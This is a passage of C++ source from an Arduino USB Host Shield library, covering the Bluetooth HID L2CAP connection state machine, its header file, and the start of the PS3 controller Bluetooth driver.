0x80); Notify(PSTR(" "), 0x80); D_PrintHex (l2capinbuf[12], 0x80); Notify(PSTR(" "), 0x80); D_PrintHex (l2capinbuf[17], 0x80); Notify(PSTR(" "), 0x80); D_PrintHex (l2capinbuf[16], 0x80); Notify(PSTR(" "), 0x80); D_PrintHex (l2capinbuf[15], 0x80); Notify(PSTR(" "), 0x80); D_PrintHex (l2capinbuf[14], 0x80); #endif } else if(l2capinbuf[8] == L2CAP_CMD_CONNECTION_RESPONSE) { if(((l2capinbuf[16] | (l2capinbuf[17] << 8)) == 0x0000) && ((l2capinbuf[18] | (l2capinbuf[19] << 8)) == SUCCESSFUL)) { // Success if(l2capinbuf[14] == control_dcid[0] && l2capinbuf[15] == control_dcid[1]) { //Notify(PSTR("\r\nHID Control Connection Complete"), 0x80); identifier = l2capinbuf[9]; control_scid[0] = l2capinbuf[12]; control_scid[1] = l2capinbuf[13]; l2cap_set_flag(L2CAP_FLAG_CONTROL_CONNECTED); } else if(l2capinbuf[14] == interrupt_dcid[0] && l2capinbuf[15] == interrupt_dcid[1]) { //Notify(PSTR("\r\nHID Interrupt Connection Complete"), 0x80); identifier = l2capinbuf[9]; interrupt_scid[0] = l2capinbuf[12]; interrupt_scid[1] = l2capinbuf[13]; l2cap_set_flag(L2CAP_FLAG_INTERRUPT_CONNECTED); } } } else if(l2capinbuf[8] == L2CAP_CMD_CONNECTION_REQUEST) { #ifdef EXTRADEBUG Notify(PSTR("\r\nL2CAP Connection Request - PSM: "), 0x80); D_PrintHex (l2capinbuf[13], 0x80); Notify(PSTR(" "), 0x80); D_PrintHex (l2capinbuf[12], 0x80); Notify(PSTR(" SCID: "), 0x80); D_PrintHex (l2capinbuf[15], 0x80); Notify(PSTR(" "), 0x80); D_PrintHex (l2capinbuf[14], 0x80); Notify(PSTR(" Identifier: "), 0x80); D_PrintHex (l2capinbuf[9], 0x80); #endif if((l2capinbuf[12] | (l2capinbuf[13] << 8)) == HID_CTRL_PSM) { identifier = l2capinbuf[9]; control_scid[0] = l2capinbuf[14]; control_scid[1] = l2capinbuf[15]; l2cap_set_flag(L2CAP_FLAG_CONNECTION_CONTROL_REQUEST); } else if((l2capinbuf[12] | (l2capinbuf[13] << 8)) == HID_INTR_PSM) { identifier = l2capinbuf[9]; interrupt_scid[0] = l2capinbuf[14]; interrupt_scid[1] = l2capinbuf[15]; l2cap_set_flag(L2CAP_FLAG_CONNECTION_INTERRUPT_REQUEST); } } else if(l2capinbuf[8] == L2CAP_CMD_CONFIG_RESPONSE) { if((l2capinbuf[16] | (l2capinbuf[17] << 8)) == 0x0000) { // Success if(l2capinbuf[12] == control_dcid[0] && l2capinbuf[13] == control_dcid[1]) { //Notify(PSTR("\r\nHID Control Configuration Complete"), 0x80); identifier = l2capinbuf[9]; l2cap_set_flag(L2CAP_FLAG_CONFIG_CONTROL_SUCCESS); } else if(l2capinbuf[12] == interrupt_dcid[0] && l2capinbuf[13] == interrupt_dcid[1]) { //Notify(PSTR("\r\nHID Interrupt Configuration Complete"), 0x80); identifier = l2capinbuf[9]; l2cap_set_flag(L2CAP_FLAG_CONFIG_INTERRUPT_SUCCESS); } } } else if(l2capinbuf[8] == L2CAP_CMD_CONFIG_REQUEST) { if(l2capinbuf[12] == control_dcid[0] && l2capinbuf[13] == control_dcid[1]) { //Notify(PSTR("\r\nHID Control Configuration Request"), 0x80); pBtd->l2cap_config_response(hci_handle, l2capinbuf[9], control_scid); } else if(l2capinbuf[12] == interrupt_dcid[0] && l2capinbuf[13] == interrupt_dcid[1]) { //Notify(PSTR("\r\nHID Interrupt Configuration Request"), 0x80); pBtd->l2cap_config_response(hci_handle, l2capinbuf[9], interrupt_scid); } } else if(l2capinbuf[8] == L2CAP_CMD_DISCONNECT_REQUEST) { if(l2capinbuf[12] == control_dcid[0] && l2capinbuf[13] == control_dcid[1]) { #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nDisconnect Request: Control Channel"), 0x80); #endif identifier = l2capinbuf[9]; pBtd->l2cap_disconnection_response(hci_handle, identifier, control_dcid, control_scid); Reset(); } else if(l2capinbuf[12] == interrupt_dcid[0] && l2capinbuf[13] == interrupt_dcid[1]) { #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nDisconnect Request: Interrupt Channel"), 0x80); #endif identifier = l2capinbuf[9]; pBtd->l2cap_disconnection_response(hci_handle, identifier, interrupt_dcid, interrupt_scid); Reset(); } } else if(l2capinbuf[8] == L2CAP_CMD_DISCONNECT_RESPONSE) { if(l2capinbuf[12] == control_scid[0] && l2capinbuf[13] == control_scid[1]) { //Notify(PSTR("\r\nDisconnect Response: Control Channel"), 0x80); identifier = l2capinbuf[9]; l2cap_set_flag(L2CAP_FLAG_DISCONNECT_CONTROL_RESPONSE); } else if(l2capinbuf[12] == interrupt_scid[0] && l2capinbuf[13] == interrupt_scid[1]) { //Notify(PSTR("\r\nDisconnect Response: Interrupt Channel"), 0x80); identifier = l2capinbuf[9]; l2cap_set_flag(L2CAP_FLAG_DISCONNECT_INTERRUPT_RESPONSE); } } #ifdef EXTRADEBUG else { identifier = l2capinbuf[9]; Notify(PSTR("\r\nL2CAP Unknown Signaling Command: "), 0x80); D_PrintHex (l2capinbuf[8], 0x80); } #endif } else if(l2capinbuf[6] == interrupt_dcid[0] && l2capinbuf[7] == interrupt_dcid[1]) { // l2cap_interrupt #ifdef PRINTREPORT Notify(PSTR("\r\nL2CAP Interrupt: "), 0x80); for(uint16_t i = 0; i < ((uint16_t)l2capinbuf[5] << 8 | l2capinbuf[4]); i++) { D_PrintHex (l2capinbuf[i + 8], 0x80); Notify(PSTR(" "), 0x80); } #endif if(l2capinbuf[8] == 0xA1) { // HID_THDR_DATA_INPUT uint16_t length = ((uint16_t)l2capinbuf[5] << 8 | l2capinbuf[4]); ParseBTHIDData((uint8_t)(length - 1), &l2capinbuf[9]); switch(l2capinbuf[9]) { case 0x01: // Keyboard or Joystick events if(pRptParser[KEYBOARD_PARSER_ID]) pRptParser[KEYBOARD_PARSER_ID]->Parse(reinterpret_cast(this), 0, (uint8_t)(length - 2), &l2capinbuf[10]); // Use reinterpret_cast again to extract the instance break; case 0x02: // Mouse events if(pRptParser[MOUSE_PARSER_ID]) pRptParser[MOUSE_PARSER_ID]->Parse(reinterpret_cast(this), 0, (uint8_t)(length - 2), &l2capinbuf[10]); // Use reinterpret_cast again to extract the instance break; #ifdef EXTRADEBUG default: Notify(PSTR("\r\nUnknown Report type: "), 0x80); D_PrintHex (l2capinbuf[9], 0x80); break; #endif } } } else if(l2capinbuf[6] == control_dcid[0] && l2capinbuf[7] == control_dcid[1]) { // l2cap_control #ifdef PRINTREPORT Notify(PSTR("\r\nL2CAP Control: "), 0x80); for(uint16_t i = 0; i < ((uint16_t)l2capinbuf[5] << 8 | l2capinbuf[4]); i++) { D_PrintHex (l2capinbuf[i + 8], 0x80); Notify(PSTR(" "), 0x80); } #endif } #ifdef EXTRADEBUG else { Notify(PSTR("\r\nUnsupported L2CAP Data - Channel ID: "), 0x80); D_PrintHex (l2capinbuf[7], 0x80); Notify(PSTR(" "), 0x80); D_PrintHex (l2capinbuf[6], 0x80); Notify(PSTR("\r\nData: "), 0x80); Notify(PSTR("\r\n"), 0x80); for(uint16_t i = 0; i < ((uint16_t)l2capinbuf[5] << 8 | l2capinbuf[4]); i++) { D_PrintHex (l2capinbuf[i + 8], 0x80); Notify(PSTR(" "), 0x80); } } #endif L2CAP_task(); } } void BTHID::L2CAP_task() { switch(l2cap_state) { /* These states are used if the HID device is the host */ case L2CAP_CONTROL_SUCCESS: if(l2cap_check_flag(L2CAP_FLAG_CONFIG_CONTROL_SUCCESS)) { #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nHID Control Successfully Configured"), 0x80); #endif setProtocol(); // Set protocol before establishing HID interrupt channel l2cap_state = L2CAP_INTERRUPT_SETUP; } break; case L2CAP_INTERRUPT_SETUP: if(l2cap_check_flag(L2CAP_FLAG_CONNECTION_INTERRUPT_REQUEST)) { #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nHID Interrupt Incoming Connection Request"), 0x80); #endif pBtd->l2cap_connection_response(hci_handle, identifier, interrupt_dcid, interrupt_scid, PENDING); delay(1); pBtd->l2cap_connection_response(hci_handle, identifier, interrupt_dcid, interrupt_scid, SUCCESSFUL); identifier++; delay(1); pBtd->l2cap_config_request(hci_handle, identifier, interrupt_scid); l2cap_state = L2CAP_INTERRUPT_CONFIG_REQUEST; } break; /* These states are used if the Arduino is the host */ case L2CAP_CONTROL_CONNECT_REQUEST: if(l2cap_check_flag(L2CAP_FLAG_CONTROL_CONNECTED)) { #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nSend HID Control Config Request"), 0x80); #endif identifier++; pBtd->l2cap_config_request(hci_handle, identifier, control_scid); l2cap_state = L2CAP_CONTROL_CONFIG_REQUEST; } break; case L2CAP_CONTROL_CONFIG_REQUEST: if(l2cap_check_flag(L2CAP_FLAG_CONFIG_CONTROL_SUCCESS)) { setProtocol(); // Set protocol before establishing HID interrupt channel delay(1); // Short delay between commands - just to be sure #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nSend HID Interrupt Connection Request"), 0x80); #endif identifier++; pBtd->l2cap_connection_request(hci_handle, identifier, interrupt_dcid, HID_INTR_PSM); l2cap_state = L2CAP_INTERRUPT_CONNECT_REQUEST; } break; case L2CAP_INTERRUPT_CONNECT_REQUEST: if(l2cap_check_flag(L2CAP_FLAG_INTERRUPT_CONNECTED)) { #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nSend HID Interrupt Config Request"), 0x80); #endif identifier++; pBtd->l2cap_config_request(hci_handle, identifier, interrupt_scid); l2cap_state = L2CAP_INTERRUPT_CONFIG_REQUEST; } break; case L2CAP_INTERRUPT_CONFIG_REQUEST: if(l2cap_check_flag(L2CAP_FLAG_CONFIG_INTERRUPT_SUCCESS)) { // Now the HID channels is established #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nHID Channels Established"), 0x80); #endif pBtd->connectToHIDDevice = false; pBtd->pairWithHIDDevice = false; connected = true; onInit(); l2cap_state = L2CAP_DONE; } break; case L2CAP_DONE: break; case L2CAP_INTERRUPT_DISCONNECT: if(l2cap_check_flag(L2CAP_FLAG_DISCONNECT_INTERRUPT_RESPONSE)) { #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nDisconnected Interrupt Channel"), 0x80); #endif identifier++; pBtd->l2cap_disconnection_request(hci_handle, identifier, control_scid, control_dcid); l2cap_state = L2CAP_CONTROL_DISCONNECT; } break; case L2CAP_CONTROL_DISCONNECT: if(l2cap_check_flag(L2CAP_FLAG_DISCONNECT_CONTROL_RESPONSE)) { #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nDisconnected Control Channel"), 0x80); #endif pBtd->hci_disconnect(hci_handle); hci_handle = -1; // Reset handle l2cap_event_flag = 0; // Reset flags l2cap_state = L2CAP_WAIT; } break; } } void BTHID::Run() { switch(l2cap_state) { case L2CAP_WAIT: if(pBtd->connectToHIDDevice && !pBtd->l2capConnectionClaimed && !connected && !activeConnection) { pBtd->l2capConnectionClaimed = true; activeConnection = true; #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nSend HID Control Connection Request"), 0x80); #endif hci_handle = pBtd->hci_handle; // Store the HCI Handle for the connection l2cap_event_flag = 0; // Reset flags identifier = 0; pBtd->l2cap_connection_request(hci_handle, identifier, control_dcid, HID_CTRL_PSM); l2cap_state = L2CAP_CONTROL_CONNECT_REQUEST; } else if(l2cap_check_flag(L2CAP_FLAG_CONNECTION_CONTROL_REQUEST)) { #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nHID Control Incoming Connection Request"), 0x80); #endif pBtd->l2cap_connection_response(hci_handle, identifier, control_dcid, control_scid, PENDING); delay(1); pBtd->l2cap_connection_response(hci_handle, identifier, control_dcid, control_scid, SUCCESSFUL); identifier++; delay(1); pBtd->l2cap_config_request(hci_handle, identifier, control_scid); l2cap_state = L2CAP_CONTROL_SUCCESS; } break; } } /************************************************************/ /* HID Commands */ /************************************************************/ void BTHID::setProtocol() { #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nSet protocol mode: "), 0x80); D_PrintHex (protocolMode, 0x80); #endif if (protocolMode != USB_HID_BOOT_PROTOCOL && protocolMode != HID_RPT_PROTOCOL) { #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nNot a valid protocol mode. Using Boot protocol instead."), 0x80); #endif protocolMode = USB_HID_BOOT_PROTOCOL; // Use Boot Protocol by default } uint8_t command = 0x70 | protocolMode; // Set Protocol, see Bluetooth HID specs page 33 pBtd->L2CAP_Command(hci_handle, &command, 1, control_scid[0], control_scid[1]); } void BTHID::setLeds(uint8_t data) { uint8_t buf[3]; buf[0] = 0xA2; // HID BT DATA_request (0xA0) | Report Type (Output 0x02) buf[1] = 0x01; // Report ID buf[2] = data; pBtd->L2CAP_Command(hci_handle, buf, 3, interrupt_scid[0], interrupt_scid[1]); } ================================================ FILE: libraries/USB_Host_Shield_2.0/BTHID.h ================================================ /* Copyright (C) 2013 Kristian Lauszus, TKJ Electronics. All rights reserved. This software may be distributed and modified under the terms of the GNU General Public License version 2 (GPL2) as published by the Free Software Foundation and appearing in the file GPL2.TXT included in the packaging of this file. Please note that GPL2 Section 2[b] requires that all works based on this software must also be made publicly available under the terms of the GPL2 ("Copyleft"). Contact information ------------------- Kristian Lauszus, TKJ Electronics Web : http://www.tkjelectronics.com e-mail : kristianl@tkjelectronics.com */ #ifndef _bthid_h_ #define _bthid_h_ #include "BTD.h" #include "hidboot.h" #define KEYBOARD_PARSER_ID 0 #define MOUSE_PARSER_ID 1 #define NUM_PARSERS 2 /** This BluetoothService class implements support for Bluetooth HID devices. */ class BTHID : public BluetoothService { public: /** * Constructor for the BTHID class. * @param p Pointer to the BTD class instance. * @param pair Set this to true in order to pair with the device. If the argument is omitted then it will not pair with it. One can use ::PAIR to set it to true. * @param pin Write the pin to BTD#btdPin. If argument is omitted, then "0000" will be used. */ BTHID(BTD *p, bool pair = false, const char *pin = "0000"); /** @name BluetoothService implementation */ /** Used this to disconnect the devices. */ void disconnect(); /**@}*/ /** * Get HIDReportParser. * @param id ID of parser. * @return Returns the corresponding HIDReportParser. Returns NULL if id is not valid. */ HIDReportParser *GetReportParser(uint8_t id) { if (id >= NUM_PARSERS) return NULL; return pRptParser[id]; }; /** * Set HIDReportParser to be used. * @param id Id of parser. * @param prs Pointer to HIDReportParser. * @return Returns true if the HIDReportParser is set. False otherwise. */ bool SetReportParser(uint8_t id, HIDReportParser *prs) { if (id >= NUM_PARSERS) return false; pRptParser[id] = prs; return true; }; /** * Set HID protocol mode. * @param mode HID protocol to use. Either USB_HID_BOOT_PROTOCOL or HID_RPT_PROTOCOL. */ void setProtocolMode(uint8_t mode) { protocolMode = mode; }; /**@{*/ /** * Used to set the leds on a keyboard. * @param data See ::KBDLEDS in hidboot.h */ void setLeds(struct KBDLEDS data) { setLeds(*((uint8_t*)&data)); }; void setLeds(uint8_t data); /**@}*/ /** True if a device is connected */ bool connected; /** Call this to start the pairing sequence with a device */ void pair(void) { if(pBtd) pBtd->pairWithHID(); }; protected: /** @name BluetoothService implementation */ /** * Used to pass acldata to the services. * @param ACLData Incoming acldata. */ void ACLData(uint8_t* ACLData); /** Used to run part of the state machine. */ void Run(); /** Use this to reset the service. */ void Reset(); /** * Called when a device is successfully initialized. * Use attachOnInit(void (*funcOnInit)(void)) to call your own function. * This is useful for instance if you want to set the LEDs in a specific way. */ void onInit() { if(pFuncOnInit) pFuncOnInit(); // Call the user function OnInitBTHID(); }; /**@}*/ /** @name Overridable functions */ /** * Used to parse Bluetooth HID data to any class that inherits this class. * @param len The length of the incoming data. * @param buf Pointer to the data buffer. */ virtual void ParseBTHIDData(uint8_t len __attribute__((unused)), uint8_t *buf __attribute__((unused))) { return; }; /** Called when a device is connected */ virtual void OnInitBTHID() { return; }; /** Used to reset any buffers in the class that inherits this */ virtual void ResetBTHID() { return; } /**@}*/ /** L2CAP source CID for HID_Control */ uint8_t control_scid[2]; /** L2CAP source CID for HID_Interrupt */ uint8_t interrupt_scid[2]; private: HIDReportParser *pRptParser[NUM_PARSERS]; // Pointer to HIDReportParsers. /** Set report protocol. */ void setProtocol(); uint8_t protocolMode; void L2CAP_task(); // L2CAP state machine bool activeConnection; // Used to indicate if it already has established a connection /* Variables used for L2CAP communication */ uint8_t control_dcid[2]; // L2CAP device CID for HID_Control - Always 0x0070 uint8_t interrupt_dcid[2]; // L2CAP device CID for HID_Interrupt - Always 0x0071 uint8_t l2cap_state; }; #endif ================================================ FILE: libraries/USB_Host_Shield_2.0/PS3BT.cpp ================================================ /* Copyright (C) 2012 Kristian Lauszus, TKJ Electronics. All rights reserved. This software may be distributed and modified under the terms of the GNU General Public License version 2 (GPL2) as published by the Free Software Foundation and appearing in the file GPL2.TXT included in the packaging of this file. Please note that GPL2 Section 2[b] requires that all works based on this software must also be made publicly available under the terms of the GPL2 ("Copyleft"). Contact information ------------------- Kristian Lauszus, TKJ Electronics Web : http://www.tkjelectronics.com e-mail : kristianl@tkjelectronics.com */ #include "PS3BT.h" // To enable serial debugging see "settings.h" //#define EXTRADEBUG // Uncomment to get even more debugging data //#define PRINTREPORT // Uncomment to print the report send by the PS3 Controllers PS3BT::PS3BT(BTD *p, uint8_t btadr5, uint8_t btadr4, uint8_t btadr3, uint8_t btadr2, uint8_t btadr1, uint8_t btadr0) : BluetoothService(p) // Pointer to USB class instance - mandatory { pBtd->my_bdaddr[5] = btadr5; // Change to your dongle's Bluetooth address instead pBtd->my_bdaddr[4] = btadr4; pBtd->my_bdaddr[3] = btadr3; pBtd->my_bdaddr[2] = btadr2; pBtd->my_bdaddr[1] = btadr1; pBtd->my_bdaddr[0] = btadr0; HIDBuffer[0] = 0x52; // HID BT Set_report (0x50) | Report Type (Output 0x02) HIDBuffer[1] = 0x01; // Report ID // Needed for PS3 Move Controller commands to work via bluetooth HIDMoveBuffer[0] = 0xA2; // HID BT DATA_request (0xA0) | Report Type (Output 0x02) HIDMoveBuffer[1] = 0x02; // Report ID /* Set device cid for the control and intterrupt channelse - LSB */ control_dcid[0] = 0x40; // 0x0040 control_dcid[1] = 0x00; interrupt_dcid[0] = 0x41; // 0x0041 interrupt_dcid[1] = 0x00; Reset(); } bool PS3BT::getButtonPress(ButtonEnum b) { return (ButtonState & pgm_read_dword(&PS3_BUTTONS[(uint8_t)b])); } bool PS3BT::getButtonClick(ButtonEnum b) { uint32_t button = pgm_read_dword(&PS3_BUTTONS[(uint8_t)b]); bool click = (ButtonClickState & button); ButtonClickState &= ~button; // Clear "click" event return click; } uint8_t PS3BT::getAnalogButton(ButtonEnum a) { return (uint8_t)(l2capinbuf[pgm_read_byte(&PS3_ANALOG_BUTTONS[(uint8_t)a])]); } uint8_t PS3BT::getAnalogHat(AnalogHatEnum a) { return (uint8_t)(l2capinbuf[(uint8_t)a + 15]); } int16_t PS3BT::getSensor(SensorEnum a) { if(PS3Connected) { if(a == aX || a == aY || a == aZ || a == gZ) return ((l2capinbuf[(uint16_t)a] << 8) | l2capinbuf[(uint16_t)a + 1]); else return 0; } else if(PS3MoveConnected) { if(a == mXmove || a == mYmove) // These are all 12-bits long return (((l2capinbuf[(uint16_t)a] & 0x0F) << 8) | (l2capinbuf[(uint16_t)a + 1])); else if(a == mZmove || a == tempMove) // The tempearature is also 12 bits long return ((l2capinbuf[(uint16_t)a] << 4) | ((l2capinbuf[(uint16_t)a + 1] & 0xF0) >> 4)); else // aXmove, aYmove, aZmove, gXmove, gYmove and gZmove return (l2capinbuf[(uint16_t)a] | (l2capinbuf[(uint16_t)a + 1] << 8)); } else return 0; } float PS3BT::getAngle(AngleEnum a) { float accXval, accYval, accZval; if(PS3Connected) { // Data for the Kionix KXPC4 used in the DualShock 3 const float zeroG = 511.5f; // 1.65/3.3*1023 (1.65V) accXval = -((float)getSensor(aX) - zeroG); accYval = -((float)getSensor(aY) - zeroG); accZval = -((float)getSensor(aZ) - zeroG); } else if(PS3MoveConnected) { // It's a Kionix KXSC4 inside the Motion controller const uint16_t zeroG = 0x8000; accXval = -(int16_t)(getSensor(aXmove) - zeroG); accYval = (int16_t)(getSensor(aYmove) - zeroG); accZval = (int16_t)(getSensor(aZmove) - zeroG); } else return 0; // Convert to 360 degrees resolution // atan2 outputs the value of -π to π (radians) // We are then converting it to 0 to 2π and then to degrees if(a == Pitch) return (atan2f(accYval, accZval) + PI) * RAD_TO_DEG; else return (atan2f(accXval, accZval) + PI) * RAD_TO_DEG; } float PS3BT::get9DOFValues(SensorEnum a) { // Thanks to Manfred Piendl if(!PS3MoveConnected) return 0; int16_t value = getSensor(a); if(a == mXmove || a == mYmove || a == mZmove) { if(value > 2047) value -= 0x1000; return (float)value / 3.2f; // unit: muT = 10^(-6) Tesla } else if(a == aXmove || a == aYmove || a == aZmove) { if(value < 0) value += 0x8000; else value -= 0x8000; return (float)value / 442.0f; // unit: m/(s^2) } else if(a == gXmove || a == gYmove || a == gZmove) { if(value < 0) value += 0x8000; else value -= 0x8000; if(a == gXmove) return (float)value / 11.6f; // unit: deg/s else if(a == gYmove) return (float)value / 11.2f; // unit: deg/s else // gZmove return (float)value / 9.6f; // unit: deg/s } else return 0; } String PS3BT::getTemperature() { if(PS3MoveConnected) { int16_t input = getSensor(tempMove); String output = String(input / 100); output += "."; if(input % 100 < 10) output += "0"; output += String(input % 100); return output; } else return "Error"; } bool PS3BT::getStatus(StatusEnum c) { return (l2capinbuf[(uint16_t)c >> 8] == ((uint8_t)c & 0xff)); } void PS3BT::printStatusString() { char statusOutput[102]; // Max string length plus null character if(PS3Connected || PS3NavigationConnected) { strcpy_P(statusOutput, PSTR("\r\nConnectionStatus: ")); if(getStatus(Plugged)) strcat_P(statusOutput, PSTR("Plugged")); else if(getStatus(Unplugged)) strcat_P(statusOutput, PSTR("Unplugged")); else strcat_P(statusOutput, PSTR("Error")); strcat_P(statusOutput, PSTR(" - PowerRating: ")); if(getStatus(Charging)) strcat_P(statusOutput, PSTR("Charging")); else if(getStatus(NotCharging)) strcat_P(statusOutput, PSTR("Not Charging")); else if(getStatus(Shutdown)) strcat_P(statusOutput, PSTR("Shutdown")); else if(getStatus(Dying)) strcat_P(statusOutput, PSTR("Dying")); else if(getStatus(Low)) strcat_P(statusOutput, PSTR("Low")); else if(getStatus(High)) strcat_P(statusOutput, PSTR("High")); else if(getStatus(Full)) strcat_P(statusOutput, PSTR("Full")); else strcat_P(statusOutput, PSTR("Error")); strcat_P(statusOutput, PSTR(" - WirelessStatus: ")); if(getStatus(CableRumble)) strcat_P(statusOutput, PSTR("Cable - Rumble is on")); else if(getStatus(Cable)) strcat_P(statusOutput, PSTR("Cable - Rumble is off")); else if(getStatus(BluetoothRumble)) strcat_P(statusOutput, PSTR("Bluetooth - Rumble is on")); else if(getStatus(Bluetooth)) strcat_P(statusOutput, PSTR("Bluetooth - Rumble is off")); else strcat_P(statusOutput, PSTR("Error")); } else if(PS3MoveConnected) { strcpy_P(statusOutput, PSTR("\r\nPowerRating: ")); if(getStatus(MoveCharging)) strcat_P(statusOutput, PSTR("Charging")); else if(getStatus(MoveNotCharging)) strcat_P(statusOutput, PSTR("Not Charging")); else if(getStatus(MoveShutdown)) strcat_P(statusOutput, PSTR("Shutdown")); else if(getStatus(MoveDying)) strcat_P(statusOutput, PSTR("Dying")); else if(getStatus(MoveLow)) strcat_P(statusOutput, PSTR("Low")); else if(getStatus(MoveHigh)) strcat_P(statusOutput, PSTR("High")); else if(getStatus(MoveFull)) strcat_P(statusOutput, PSTR("Full")); else strcat_P(statusOutput, PSTR("Error")); } else strcpy_P(statusOutput, PSTR("\r\nError")); USB_HOST_SERIAL.write(statusOutput); } void PS3BT::Reset() { PS3Connected = false; PS3MoveConnected = false; PS3NavigationConnected = false; activeConnection = false; l2cap_event_flag = 0; // Reset flags l2cap_state = L2CAP_WAIT; // Needed for PS3 Dualshock Controller commands to work via Bluetooth for(uint8_t i = 0; i < PS3_REPORT_BUFFER_SIZE; i++) HIDBuffer[i + 2] = pgm_read_byte(&PS3_REPORT_BUFFER[i]); // First two bytes reserved for report type and ID } void PS3BT::disconnect() { // Use this void to disconnect any of the controllers // First the HID interrupt channel has to be disconnected, then the HID control channel and finally the HCI connection pBtd->l2cap_disconnection_request(hci_handle, ++identifier, interrupt_scid, interrupt_dcid); Reset(); l2cap_state = L2CAP_INTERRUPT_DISCONNECT; } void PS3BT::ACLData(uint8_t* ACLData) { if(!pBtd->l2capConnectionClaimed && !PS3Connected && !PS3MoveConnected && !PS3NavigationConnected && !activeConnection && !pBtd->connectToWii && !pBtd->incomingWii && !pBtd->pairWithWii) { if(ACLData[8] == L2CAP_CMD_CONNECTION_REQUEST) { if((ACLData[12] | (ACLData[13] << 8)) == HID_CTRL_PSM) { pBtd->l2capConnectionClaimed = true; // Claim that the incoming connection belongs to this service activeConnection = true; hci_handle = pBtd->hci_handle; // Store the HCI Handle for the connection l2cap_state = L2CAP_WAIT; remote_name_first = pBtd->remote_name[0]; // Store the first letter in remote name for the connection #ifdef DEBUG_USB_HOST if(pBtd->hci_version < 3) { // Check the HCI Version of the Bluetooth dongle Notify(PSTR("\r\nYour dongle may not support reading the analog buttons, sensors and status\r\nYour HCI Version is: "), 0x80); Notify(pBtd->hci_version, 0x80); Notify(PSTR("\r\nBut should be at least 3\r\nThis means that it doesn't support Bluetooth Version 2.0+EDR"), 0x80); } #endif } } } if(checkHciHandle(ACLData, hci_handle)) { // acl_handle_ok memcpy(l2capinbuf, ACLData, BULK_MAXPKTSIZE); if((l2capinbuf[6] | (l2capinbuf[7] << 8)) == 0x0001U) { // l2cap_control - Channel ID for ACL-U if(l2capinbuf[8] == L2CAP_CMD_COMMAND_REJECT) { #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nL2CAP Command Rejected - Reason: "), 0x80); D_PrintHex (l2capinbuf[13], 0x80); Notify(PSTR(" "), 0x80); D_PrintHex (l2capinbuf[12], 0x80); Notify(PSTR(" Data: "), 0x80); D_PrintHex (l2capinbuf[17], 0x80); Notify(PSTR(" "), 0x80); D_PrintHex (l2capinbuf[16], 0x80); Notify(PSTR(" "), 0x80); D_PrintHex (l2capinbuf[15], 0x80); Notify(PSTR(" "), 0x80); D_PrintHex (l2capinbuf[14], 0x80); #endif } else if(l2capinbuf[8] == L2CAP_CMD_CONNECTION_REQUEST) { #ifdef EXTRADEBUG Notify(PSTR("\r\nL2CAP Connection Request - PSM: "), 0x80); D_PrintHex (l2capinbuf[13], 0x80); Notify(PSTR(" "), 0x80); D_PrintHex (l2capinbuf[12], 0x80); Notify(PSTR(" SCID: "), 0x80); D_PrintHex (l2capinbuf[15], 0x80); Notify(PSTR(" "), 0x80); D_PrintHex (l2capinbuf[14], 0x80); Notify(PSTR(" Identifier: "), 0x80); D_PrintHex (l2capinbuf[9], 0x80); #endif if((l2capinbuf[12] | (l2capinbuf[13] << 8)) == HID_CTRL_PSM) { identifier = l2capinbuf[9]; control_scid[0] = l2capinbuf[14]; control_scid[1] = l2capinbuf[15]; l2cap_set_flag(L2CAP_FLAG_CONNECTION_CONTROL_REQUEST); } else if((l2capinbuf[12] | (l2capinbuf[13] << 8)) == HID_INTR_PSM) { identifier = l2capinbuf[9]; interrupt_scid[0] = l2capinbuf[14]; interrupt_scid[1] = l2capinbuf[15]; l2cap_set_flag(L2CAP_FLAG_CONNECTION_INTERRUPT_REQUEST); } } else if(l2capinbuf[8] == L2CAP_CMD_CONFIG_RESPONSE) { if((l2capinbuf[16] | (l2capinbuf[17] << 8)) == 0x0000) { // Success if(l2capinbuf[12] == control_dcid[0] && l2capinbuf[13] == control_dcid[1]) { //Notify(PSTR("\r\nHID Control Configuration Complete"), 0x80); l2cap_set_flag(L2CAP_FLAG_CONFIG_CONTROL_SUCCESS); } else if(l2capinbuf[12] == interrupt_dcid[0] && l2capinbuf[13] == interrupt_dcid[1]) { //Notify(PSTR("\r\nHID Interrupt Configuration Complete"), 0x80); l2cap_set_flag(L2CAP_FLAG_CONFIG_INTERRUPT_SUCCESS); } } } else if(l2capinbuf[8] == L2CAP_CMD_CONFIG_REQUEST) { if(l2capinbuf[12] == control_dcid[0] && l2capinbuf[13] == control_dcid[1]) { //Notify(PSTR("\r\nHID Control Configuration Request"), 0x80); pBtd->l2cap_config_response(hci_handle, l2capinbuf[9], control_scid); } else if(l2capinbuf[12] == interrupt_dcid[0] && l2capinbuf[13] == interrupt_dcid[1]) { //Notify(PSTR("\r\nHID Interrupt Configuration Request"), 0x80); pBtd->l2cap_config_response(hci_handle, l2capinbuf[9], interrupt_scid); } } else if(l2capinbuf[8] == L2CAP_CMD_DISCONNECT_REQUEST) { if(l2capinbuf[12] == control_dcid[0] && l2capinbuf[13] == control_dcid[1]) { #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nDisconnect Request: Control Channel"), 0x80); #endif identifier = l2capinbuf[9]; pBtd->l2cap_disconnection_response(hci_handle, identifier, control_dcid, control_scid); Reset(); } else if(l2capinbuf[12] == interrupt_dcid[0] && l2capinbuf[13] == interrupt_dcid[1]) { #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nDisconnect Request: Interrupt Channel"), 0x80); #endif identifier = l2capinbuf[9]; pBtd->l2cap_disconnection_response(hci_handle, identifier, interrupt_dcid, interrupt_scid); Reset(); } } else if(l2capinbuf[8] == L2CAP_CMD_DISCONNECT_RESPONSE) { if(l2capinbuf[12] == control_scid[0] && l2capinbuf[13] == control_scid[1]) { //Notify(PSTR("\r\nDisconnect Response: Control Channel"), 0x80); identifier = l2capinbuf[9]; l2cap_set_flag(L2CAP_FLAG_DISCONNECT_CONTROL_RESPONSE); } else 